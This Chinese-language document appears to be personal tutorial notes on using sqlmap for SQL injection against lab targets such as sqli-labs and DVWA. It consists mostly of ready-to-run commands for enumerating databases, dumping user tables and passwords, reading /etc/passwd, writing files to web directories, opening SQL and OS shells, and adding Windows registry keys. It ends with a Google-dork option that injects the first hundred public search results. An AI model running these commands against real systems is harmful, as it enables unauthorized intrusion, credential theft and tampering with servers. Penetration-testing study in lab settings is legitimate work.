sqlmap使用的注意点
如果第一次失败后,记得删除用户缓存。因为sqlmap在注入时会自动读取用户缓存,如果不删除可能会影响结果
常用参数
常用参数
–current-user 操作系统用户
–current-db 当前库名
–dbs 所有库名
–hostname
–users 数据库管理员
–privileges 查看管理员权限
–roles 查看数据库角色
脱裤参数
1. –dump,-C,-T,-D,--start,--stop(部分脱裤)
2. –dump-all –exclude-sysdbs(直接脱裤)
3. –sql-query “select * from users” (自己的命令脱裤)
4. 当数据库管理员比较安全,没法顺利脱裤,只能利用字典拆解表名列名
a) –common-tables --common-columns
系统操作参数
Sqlmap的系统操作
a) 参数:
i. –udf-inject --shared-lib 编译共享库并上传实现UDF高级注入
1. Linux:share object文件 windows:DLL文件
ii. 读文件:
1. –file-read=”绝对路径”
iii. 写文件:
1. –file-write=”需要写入的文件绝对路径” --file-dest=”写入的路径”
iv. Linux下
1. –sql-shell mysql的shell(本质上是对注入查询出来的数据建立的临时数据库,只能对原数据查询,不能增删该)
2. –os-shell Linux的上传得webshell连接后的一个可控shell,但不是系统shell
3. –os-cmd
v. Windows下
1. –reg-read (读注册表)
2. –reg-add (写注册表)
3. –reg-del (删注册表)
4. –reg-key –reg-value –reg-data --reg-type(注册表参数)
GET请求的方式(POST的方式类似,可以使用mehod该发包方式,data设置参数)
注入查询
a) –u 指定网页 –p 指定参数(注入位置)
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id
根据英文提示进行选择即可
注入测试后出现的结果
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id --current-user 查看当前用户
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id --current-db
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id –dbs
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id --hostname
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id –users
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id --privileges
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id –role
脱裤
步骤:查库-〉查表-〉查数据
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id –dbs 查库,选择库名
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id -D security –tables 查表
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id -D security -T users –dump 查数据
通过查询表格结构,选择性查询数据
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id -D security -T users –columns 查表格结构
查单列数据
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id -D security -T users -C username –dump
查多列数据
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id -D security -T users -C username,password –dump
直接脱裤
直接脱裤
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id --dump-all --exclude-sysdbs
自己命令脱裤
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id --sql-query "select * from users"
对于带有cookie的脱裤操作(如果直接读取数据包,包中包含cookie的数据则可以直接脱裤)
手动添加cookie
i. 以DVWA为目标
ii. 开始操作: 最好在 –u 后的url地址中添加 “”
sqlmap -u "http://192.168.1.106/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit&user_token=cba280d6f9c6dc25364ee79146d10431#" -p id
没有cookie所以导致失败
通过对地址添加cookie修正问题,或者直接BurpSuite抓包对文件进行读取发包方式
获取cookie,添加到命令中
sqlmap -u "http://192.168.1.106/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie "security=low; PHPSESSID=a68oeapobi0kid19n3fi3t02g3"
可以脱裤操作
抓包添加cookie
使用BurpSuite抓包脱裤
1. 抓包将数据包保存到本地
2. 使用 –r 绝对路径进行操作 这种适合POST数据包和含有cookie的数据包
sqlmap -r “C:\Users\ROC\Desktop\a.txt” -p id
3. 脱裤操作一样
4. 注入时修改user-gent
sqlmap -r “C:\Users\ROC\Desktop\a.txt” -p id –user-agent “nihao” –user-agent 内容可以自定义
5. –data 通过发送设置数据 –method指定 post还是get方式发送数据
a) 使用POST的方式
sqlmap -r “C:\Users\ROC\Desktop\1.txt” -p search –method post –data “search=1234”
b) 使用GET的方式
sqlmap -r “C:\Users\ROC\Desktop\1.txt” -p search –method get –data “search=1234”
系统操作
读文件
sqlmap -u "http://192.168.1.106/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie "security=low; PHPSESSID=a68oeapobi0kid19n3fi3t02g3" --file-read="/etc/passwd"
写文件
sqlmap -r "D:\a.txt" --file-write="D:\1.txt" --file-dest="/var/www/html/tmp/1,txt"
权限不足
换个文件路径
sqlmap -u "http://192.168.100.88/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie "security=low; PHPSESSID=fqc3ra2jpq8538vaa6idlbp2a5" --file-write="D:\1.txt" --file-dest="/tmp/1"
写入成功
查看写入的内容
sqlmap -u "http://192.168.100.88/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie "security=low; PHPSESSID=fqc3ra2jpq8538vaa6idlbp2a5" --file-read="/tmp/1.txt"
系统操作(以添加注册表为例)
sqlmap -r "C:\Users\ROC\Desktop\1.txt" -p search --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
执行SQL语句(本质是在注入中创建了数据库副本,只能执行查询操作,增删该没有意义)
对抓取的数据包进行操作
a) 进入sql-shell
sqlmap -r “C:\Users\ROC\Desktop\1.txt” -p search –sql-shell
只能执行查询语句,这个相当于数据库的副本,增删该都没有意义
Select * from users
b) Sqlmap支持 –g 参数使用谷哥浏览器查询,只获取前100个结果
i. intex:
ii. inurl:
iii. intitle:
eg: sqlmap -g “inurl:".php?id=1"“ 就可以在google中搜索符合条件的前一百进行注入测试。